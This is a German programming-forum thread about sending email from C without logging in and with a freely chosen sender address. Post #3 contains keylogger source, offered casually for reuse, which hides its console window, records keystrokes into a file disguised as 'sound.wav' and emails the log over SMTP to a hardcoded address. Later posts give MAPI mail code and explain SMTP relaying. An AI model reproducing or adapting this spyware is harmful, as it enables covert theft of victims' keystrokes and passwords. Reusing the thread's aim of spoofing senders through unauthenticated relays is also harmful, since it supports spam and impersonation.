Hilfe für Emailversenden C

Diskutiere Hilfe für Emailversenden C im Developer Network Forum im Bereich Hardware & Software Forum; Hi, ich möchte mir ein eigenes Programm schreiben in C, mit dem ich Emails versenden kann. Ich weiß nicht genau wie es geht, hab auch ncihts...
  • Hilfe für Emailversenden C Beitrag #1
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Hi, ich möchte mir ein eigenes Programm schreiben in C, mit dem ich Emails versenden kann. Ich weiß nicht genau wie es geht, hab auch ncihts passendes in C gefunden bisher aber ich dachte mir man könnte ja eine Verbindung zu einem dieser pop3 server (denke dieheißen so) herstellen und dann mit den Befehlen MAIL FROM: und so arbeiten.
Bedingung für das PRogramm, dass ich kein Usernamen oder Passwort angeben muss, ich glaube das geht und zudem die Absendermail frei wählen kann.:)
Hat da jemand eine Idee, bzw. einen Ansatz oder ein Tutorial für mich?

MfG
Anno1989
 
  • Hilfe für Emailversenden C Beitrag #2
cmddegi

cmddegi

Bekanntes Mitglied
Dabei seit
12.07.2001
Beiträge
4.740
Reaktionspunkte
0
Ort
Austria
Einfach irgendein beliebiges Winsock-Tutorial suchen und die RFC für das SMTP-Protokoll besorgen. Zum versenden von Mails reichen ein paar einfache Befehle aus; das kann man sogar mit Hyperterminal bewerkstelligen, wenn einem danach ist.
 
  • Hilfe für Emailversenden C Beitrag #3
C

cc_ip

Bekanntes Mitglied
Dabei seit
08.03.2007
Beiträge
214
Reaktionspunkte
0
hmm ich hab hier noch code rumfliegen von nen mailprogramm, naja is auch nen keylogger dabei aber ich denke das wirst du ehe machen wollen, kA wo ich den code herhab, ist schon ewig auf meiner platte:
Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following 
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
 
int get_keys(void);
int test_key(void);
int main(void)
{
   //Uncomment the lines below to put the keylogger in stealh mode.
   HWND stealth; /*creating stealth */
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   {FILE *file;
   file=fopen(FileName,"a+");
   time_t theTime=time(0);
   fputs("\nStarted logging: ", file);
   fputs(ctime(&theTime),file);
   fclose(file);
   }
   
   /* if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);          
    } */
   
   int t = get_keys();    
   return t;
}  
 
int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
 
 
           short character;
             while(1)
             {
                    Sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
  


//////////////// TASTEN ABFRAGE STAND HIER //////////////////

                                              default:
                                              fclose(file);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END); //go to end
           len=ftell(file); //get position at end (length)
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);//go to beg.
             buf=(char *)malloc(len);//malloc buffer
             freadindex=fread(buf,1,len,file);//read into buffer
             buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
             fclose(file);
             file=fopen(FileName,"w");                        
             }
           
            fclose(file);
            //free (buf);
                 
           }
           return EXIT_SUCCESS;                            
}
 
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
    
    #define bufsize 300
    int bytes_sent;   /* Sock FD */
    int err;
    struct hostent *host;   /* info from gethostbyname */
    struct sockaddr_in dest_addr;   /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
 
     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
     dest_addr.sin_port= htons(25); /* PORT defined above */
 
     /* Get socket */
 
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connect !*/
     fputs("Connecting....\n",smtpfile);
 
    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);                          
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}
falls du fragen zu den code hast frag einfach...

edit: Musste leider die tastenabfrage rausnehmen, da ich sonst zuviele zeichen in einen post hätte und den nicht posten durfte (max 15000 zeichen oder so)

drum muss ich auch nochmal posten.. naja wayne
 
  • Hilfe für Emailversenden C Beitrag #4
C

cc_ip

Bekanntes Mitglied
Dabei seit
08.03.2007
Beiträge
214
Reaktionspunkte
0
noch ein code mit der mapi:

Code:
void SendEMail( 
    char *pszRecvAddress,             //Email 
    char *pszTitle,                   //Mail Title 
    char *pszNotes,                   //Mail Content 
    char *pszFileName                 //attachment file name 
) 
{ 
    if ((NULL == pszRecvAddress) || 
        (NULL == pszTitle)       || 
        (NULL == pszNotes)       || 
        (NULL == pszFileName) 
        ) 
    { 
        printf("ERROR:NULL on SendEMail Function parameter!!!\n"); 
        return; 
    } 

    ULONG           uRetCode        = 0; 
    LPMAPISENDMAIL  lpMAPISendMail  = NULL; 
    HMODULE         hLibMAPI        = NULL; 
    MapiRecipDesc   ReceiverInfo    = {0, MAPI_TO, "", pszRecvAddress,0, 0}; 
    MapiFileDesc    AttachmentInfo  = {0, 0, 0xFFFFFFFF, pszFileName,"", NULL}; 
    MapiMessage     MailInfo        = 
        { 
            0, 
            pszTitle, 
            pszNotes, 
            NULL, 
            NULL, 
            NULL, 
            MAPI_SENT, 
            NULL, 
            1, 
            &ReceiverInfo, 
            1, 
            &AttachmentInfo 
        }; 


    hLibMAPI = ::LoadLibrary("MAPI32.DLL"); 
    if (NULL == hLibMAPI) 
    { 
        printf("ERROR on Load MAPI32.DLL file!!! Cancel to auto send mail!!!\n"); 
        return; 
    } 
    lpMAPISendMail = (LPMAPISENDMAIL)::GetProcAddress(hLibMAPI,"MAPISendMail"); 
    if (NULL == lpMAPISendMail) 
    { 
        printf("ERROR on Get MAPISendMail Function Address!!! Cancel to auto send mail!!!\n"); 
        goto ERR_EXIT; 
    } 

    uRetCode = lpMAPISendMail(0L, 0L, &MailInfo, 0, 0); 
    if (SUCCESS_SUCCESS == uRetCode) 
    { 
        printf( 
            "Success to Send mail to: %s, Mail Title:%s, Mail Notes:%s,Attachment file name:%s\n", 
            pszRecvAddress, 
            pszTitle, 
            pszNotes, 
            pszFileName 
        ); 
    } 
    else 
    { 
        printf("ERROR:failed Send mail!\n"); 
    } 

ERR_EXIT: 
    if (NULL != hLibMAPI) 
    { 
        ::FreeLibrary(hLibMAPI); 
        hLibMAPI = NULL; 
    } 
  
    return;

naja für weitere infos oder tutorials: www.google.de suche: "MailTo" "SendTo" "mapi email"....
 
  • Hilfe für Emailversenden C Beitrag #5
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Alles klar, ich werd mir mal beides angucken und das RFC downloaden, vielen dank schonmal, melde mich dan wenns Probleme oder Erfolge gibt:goil:
 
  • Hilfe für Emailversenden C Beitrag #6
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Okay, hab mir nun mal alle RFC's heruntergeladen und in wikipedia mal das Nachrichtensystem angeguckt. Nun hab ichd as Problem, welchen Server nehme ich? Server wie der von web.de z.B. verlangen ja Zugangsdaten, was ich ja nicht wollte^^
Habe rgade den Hotmailserver ausprobiert mail.hotmail.com, der sagt mir aber (nach HELO und bei MAIL FROM:) den Fehler 550, irgendwie Emailname was rejected, also scheint es heir doch ohne Login, aber nur mit bestimmten Emailadressen als Absender zu klappen oder?
 
  • Hilfe für Emailversenden C Beitrag #7
cmddegi

cmddegi

Bekanntes Mitglied
Dabei seit
12.07.2001
Beiträge
4.740
Reaktionspunkte
0
Ort
Austria
höchstwahrscheinlich SMTP after POP. Das ursprüngliche SMTP unterstütze meines Wissens keine Passwortabfrage beim Versenden. So wurde es einfach so gehandhabt, dass SMTP nur innerhalb einiger Minuten nach dem Mail-Abruf per POP3 samt zugehörigem Login von der gleichen IP aus funktionierte.
 
  • Hilfe für Emailversenden C Beitrag #8
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Hab nun mal den Code von cc_ip etwas umgeschrieben, ich komme bis zu dem Punkt, an dem ich die Empfänger Adresse angebe. Darauf kommt allerdings vom Server zurück: 550 5.1.1 No such User und dahinter ein Buchstaben und Zahlensalat. Hier der umgeschriebene Code:
Code:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
int main() {

    SOCKET s;
    WSADATA wsaData;
    char SMTPLog[] = "SMTP_Log.txt";
    int bytes_sent;   
    int error;
    int waittime = 500;
    struct hostent *host;
    struct sockaddr_in dest_addr;
    char mailserver[] = "gmail-smtp-in.l.google.com";
    char line[1000];
    char cAMailFrom[290], cAMailFrom_Send[300], cAMailTo[290], cAMailTo_Send[300], cAText[1000],cASend[500];
    
    char cAData_Send[] = "DATA";
    char cAQuit[] = "QUIT";
    
    char cAServerAntwort[10000];
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      printf("WSAStartup failed");
      WSACleanup();
      return -1;
    }
    if ((host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     dest_addr.sin_family= host->h_addrtype;
     dest_addr.sin_port= htons(25); 
 
     if ((s=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     printf("Connecting to %s\n",mailserver);
 
    if (connect(s, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }

//HELO    
     Sleep(waittime);
     error = recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';
     printf("%s\n", cAServerAntwort);
     sprintf(line,"helo %s\n", mailserver);
     bytes_sent=send(s,line,strlen(line),0);

//Mail FROM:     
     Sleep(waittime);
     error=recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';
     printf("%s\n",cAServerAntwort);
     printf("\nMail von: ");
     gets(cAMailFrom);
     sprintf(cAMailFrom_Send, "MAIL FROM:<%s>\n", cAMailFrom);
     bytes_sent=send(s,cAMailFrom_Send,strlen(cAMailFrom_Send),0); 

//RCPT TO:        
     Sleep(waittime);
     error=recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';
     printf("%s\n", cAServerAntwort);
     printf("\nMail an: ");
     gets(cAMailTo);
     sprintf(cAMailTo_Send, "RCPT TO:<%s>\n", cAMailTo);
     bytes_sent=send(s,cAMailTo_Send,strlen(cAMailTo_Send),0); 

//DATA    [B]QUASIE KOMME ICH BIS HIER[/B]
     Sleep(waittime);
     error=recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';
     printf("%s\n", cAServerAntwort);
     sprintf(cAData_Send, "DATA");
     bytes_sent=send(s,cAData_Send,strlen(cAData_Send),0);

//Text
     printf("\nText: ");
     gets(cAText);
     
//Zusammenfassung
     Sleep(waittime);
     error=recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';
     printf("%s\n", cAServerAntwort);

     Sleep(waittime);
     sprintf(cASend, "To:<%s>\nFrom:<%s>\nSubject:%s\n\r\n.\r\n", cAMailTo, cAMailFrom, cAText);
     bytes_sent=send(s,cASend,strlen(cASend),0);
     
     Sleep(waittime);
     error=recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';
     printf("%s\n", cAServerAntwort);
     
     bytes_sent=send(s,cAQuit,strlen(cAQuit),0);
     Sleep(waittime);
     error=recv(s,cAServerAntwort,sizeof(cAServerAntwort),0);
     cAServerAntwort[error] = '\0';                    
     printf("%s\n", cAServerAntwort);
     closesocket(s);
     WSACleanup();

}
Jemand eine Ahnung, was ich falsch mache?^^
 
  • Hilfe für Emailversenden C Beitrag #9
U

UnimatrixZero

Bekanntes Mitglied
Dabei seit
27.06.2001
Beiträge
645
Reaktionspunkte
0
Hab nun mal den Code von cc_ip etwas umgeschrieben, ich komme bis zu dem Punkt, an dem ich die Empfänger Adresse angebe. Darauf kommt allerdings vom Server zurück: 550 5.1.1 No such User und dahinter ein Buchstaben und Zahlensalat.
Wenn da "Buchstaben und Zahlensalat" kommt, machst Du was falsch.

No such User deutet darauf hin, daß entweder, wie bereits gesagt wurde, vorher ein POP3-Abruf erfolgen muß, oder der im From-Header angegebene Benutzer dort nicht existiert und deshalb kein Relaying zugelassen wird.
 
  • Hilfe für Emailversenden C Beitrag #10
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Okay, ich hab mich am Code orientiert konnte da nicht festmachen, ob da ein User gebracht wird, aber das Problem ist ja dei Empfänger Adresse, da müsste es odch kein Problem geben oder? Vielmehr müsste der Server doch erkennen, dass der Absender da nicht vorhanen ist?
 
  • Hilfe für Emailversenden C Beitrag #11
cmddegi

cmddegi

Bekanntes Mitglied
Dabei seit
12.07.2001
Beiträge
4.740
Reaktionspunkte
0
Ort
Austria
Ich würde dir empfehlen, die Befehle erstmal mit Hyperterminal auszuprobieren, dann kannst du wenigstens Fehler im Programm erstmal ausschließen und dich auf die Kommunikation mit dem Server konzentrieren.
 
  • Hilfe für Emailversenden C Beitrag #12
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Okay, hasb mal ausprobiert.
Befehle HELO und MAIL FROM werden akzeptiert, nur RCPT TO: kommt, wenn ich meine Emailadresse angebe, bei web.de "No such user[...]"
Das was Unimatirx gesagt hat, habe ich nur zur Hälfte verstanden, wenn der Server bei Mail From: <[email protected]> ein "OK" zurückgibt, kann es dann doch nur einen Fehler bei der Empfängeradresse geben, nicht bei der Abesenderadresse?:confused:
 
  • Hilfe für Emailversenden C Beitrag #13
U

UnimatrixZero

Bekanntes Mitglied
Dabei seit
27.06.2001
Beiträge
645
Reaktionspunkte
0
Okay, hasb mal ausprobiert.
Befehle HELO und MAIL FROM werden akzeptiert, nur RCPT TO: kommt, wenn ich meine Emailadresse angebe, bei web.de "No such user[...]"
Das was Unimatirx gesagt hat, habe ich nur zur Hälfte verstanden, wenn der Server bei Mail From: <[email protected]> ein "OK" zurückgibt, kann es dann doch nur einen Fehler bei der Empfängeradresse geben, nicht bei der Abesenderadresse?:confused:
Du mußt da 2 Fälle unterscheiden:
1. Ein E-Mail-Server nimmt E-Mails für seine Benutzer an. Das geht immer, auch ohne sich vorher zu authentifizieren zu müssen. Von wem die Mail kommt, ist dabei egal. Nur der Empfänger muß dem Server bekannt sein.
2. Der Server nimmt E-Mails von seinen Benutzern für andere Benutzer (anderer E-Mail-Server) an. Die Empfängeradresse ist dabei egal. Hauptsache, die Domain ist gültig.
Damit nicht jeder Spambot diesen Server dazu mißbrauchen kann, seinen Werbemüll darüber zu versenden, muß er sich zuerst beim Server authentifizieren. Entweder überprüft der Server dazu die Absendeadresse oder erwartet, daß sich der Benutzer vorher per POP3 mit User/Pass anmeldet. Erst dann darf er auch E-Mails versenden. Das sind natürlich nicht die einzigen Möglichkeiten. Schau mal hier: http://de.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol
 
  • Hilfe für Emailversenden C Beitrag #14
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Zu Fall 1:
Der Server nimmt die Emails an, die die ein Benutzer abschicken will oder erhält? Also mit oder ohne Login?
Zu Fall 2:
Fällt doch dann für mich weg, wiel man sich doch vorher einloggen muss, oder muss man sich überall einloggen um Emails zu versenden?
 
  • Hilfe für Emailversenden C Beitrag #15
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Kann mir wer die Frage noch beantworten? Weil ich komme da grade nicht weiter....
 
  • Hilfe für Emailversenden C Beitrag #16
U

UnimatrixZero

Bekanntes Mitglied
Dabei seit
27.06.2001
Beiträge
645
Reaktionspunkte
0
Zu Fall 1:
Der Server nimmt die Emails an, die die ein Benutzer abschicken will oder erhält? Also mit oder ohne Login?
Zu Fall 2:
Fällt doch dann für mich weg, wiel man sich doch vorher einloggen muss, oder muss man sich überall einloggen um Emails zu versenden?
Fall 1 ist für die Benutzer des Servers. Z.B. ist mein Server so konfiguriert, daß er nur E-Mails von Benutzern entgegennimmt, die er auch kennt. Alle anderen werden abgewiesen.
Fall 2: Wollen diese Benutzer aber E-Mals an andere serverfremde Benutzer verschicken, dann müssen sie sich zuerst anmelden. Sonst könnte ja jeder E-Mails über meinen Server verschicken.

Fall 2 ist aber genau der, den Du nutzen möchtest. Du mußt also einen Server finden, der auch das Versenden von E-Mails von unbekannten Usern zuläßt. Die meisten dürften das allerdings nicht zulassen.
 
  • Hilfe für Emailversenden C Beitrag #17
Anno1989

Anno1989

Bekanntes Mitglied
Dabei seit
30.04.2006
Beiträge
1.293
Reaktionspunkte
0
Ort
NRW
Alles klar, jetzt hab ichs verstanden, danke. Ich werde mal im Internet danach suchen und mich dann hier wieder melden, falls noch andere nach so etwas suchen:goil:
Danke
 
Thema:

Hilfe für Emailversenden C

ANGEBOTE & SPONSOREN

https://www.mofapower.de/

Statistik des Forums

Themen
213.179
Beiträge
1.579.172
Mitglieder
55.878
Neuestes Mitglied
Satan666
Oben